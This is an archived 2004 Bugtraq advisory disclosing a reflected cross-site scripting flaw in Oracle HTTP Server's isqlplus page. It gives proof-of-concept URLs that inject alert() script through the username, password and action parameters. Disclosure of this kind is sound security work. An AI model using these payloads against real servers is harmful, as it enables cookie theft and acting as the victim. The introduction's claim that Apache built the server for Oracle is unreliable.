

# Oracle HTTP Server Cross Site Scripting Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2004-01/0236.html>

---

**From:** Rafel Ivgi, The-Insider ([theinsider\\_at\\_012.net.il](mailto:theinsider_at_012.net.il))

**Date:** 01/24/04

To: "bugtraq" <[bugtraq@securityfocus.com](mailto:bugtraq@securityfocus.com)>

Date: Sat, 24 Jan 2004 11:54:21 +0200

~~~~~  
Software: Oracle HTTP Server Powered by Apache

Vendor: <http://www.apache.com>

<http://www.oracle.com>

Versions: Oracle HTTP Server Powered by Apache/1.3.22 (Win32)

mod\_plsql/3.0.9.8.3b mod\_ssl/2.8.5 OpenSSL/0.9.6b mod\_fastcgi/2.2.12

mod\_oprocmgr/1.0 mod\_perl/1.25

Platforms: Windows

Bug: Cross Site Scripting Vulnerability

Risk: Low

Exploitation: Remote with browser

Date: 24 Jan 2004

Author: Rafel Ivgi, The-Insider

e-mail: [the\\_insider@mail.com](mailto:the_insider@mail.com)

web: <http://theinsider.deep-ice.com>

~~~~~  
1) Introduction

2) Bug

3) The Code

=====  
1) Introduction  
=====

Apache is the most common unix server in the world. It is strong and safe.  
Oracle HTTP Server is a modified, custom apache server that was created by  
apache for oracle.

=====  
2) Bug  
=====

The Vulnerability is Cross Site Scripting. If an attacker will request the following url from the server:

[http://>/isqlplus?action=logon&username=sdfds%22%3e%3cscript%3ealert\('XSS'\)%3c/script%3e&password=dsfsd%3cscript%3ealert\('XSS'\)%3c/script%3e](http://>/isqlplus?action=logon&username=sdfds%22%3e%3cscript%3ealert('XSS')%3c/script%3e&password=dsfsd%3cscript%3ealert('XSS')%3c/script%3e)

Or

[http://>/isqlplus?action=<script>alert\('XSS'\)</script>](http://>/isqlplus?action=<script>alert('XSS')</script>)

XSS appears and the server allows an attacker to inject & execute scripts.

In the words of securityfocus.com :

~~~~~

If all of these circumstances are met, an attacker may be able to exploit this issue via a malicious link containing arbitrary HTML and script code as part of the hostname.

When the malicious link is clicked by an unsuspecting user, the attacker-supplied HTML and script code will be executed by their web client. This will occur because the server will echo back the malicious hostname supplied in the client's request, without sufficiently escaping HTML and script code.

Attacks of this nature may make it possible for attackers to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

~~~~~

=====  
3) The Code  
=====

[http://>/isqlplus?action=logon&username=sdfds%22%3e%3cscript%3ealert\('XSS'\)%3c/script%3e&password=dsfsd%3cscript%3ealert\('XSS'\)%3c/script%3e](http://>/isqlplus?action=logon&username=sdfds%22%3e%3cscript%3ealert('XSS')%3c/script%3e&password=dsfsd%3cscript%3ealert('XSS')%3c/script%3e)

[http://>/isqlplus?action=<script>alert\('XSS'\)</script>](http://>/isqlplus?action=<script>alert('XSS')</script>)

~~~~~

---  
Rafel Ivgi, The-Insider  
<http://theinsider.deep-ice.com>  
"Things that are unlikeable, are NOT impossible."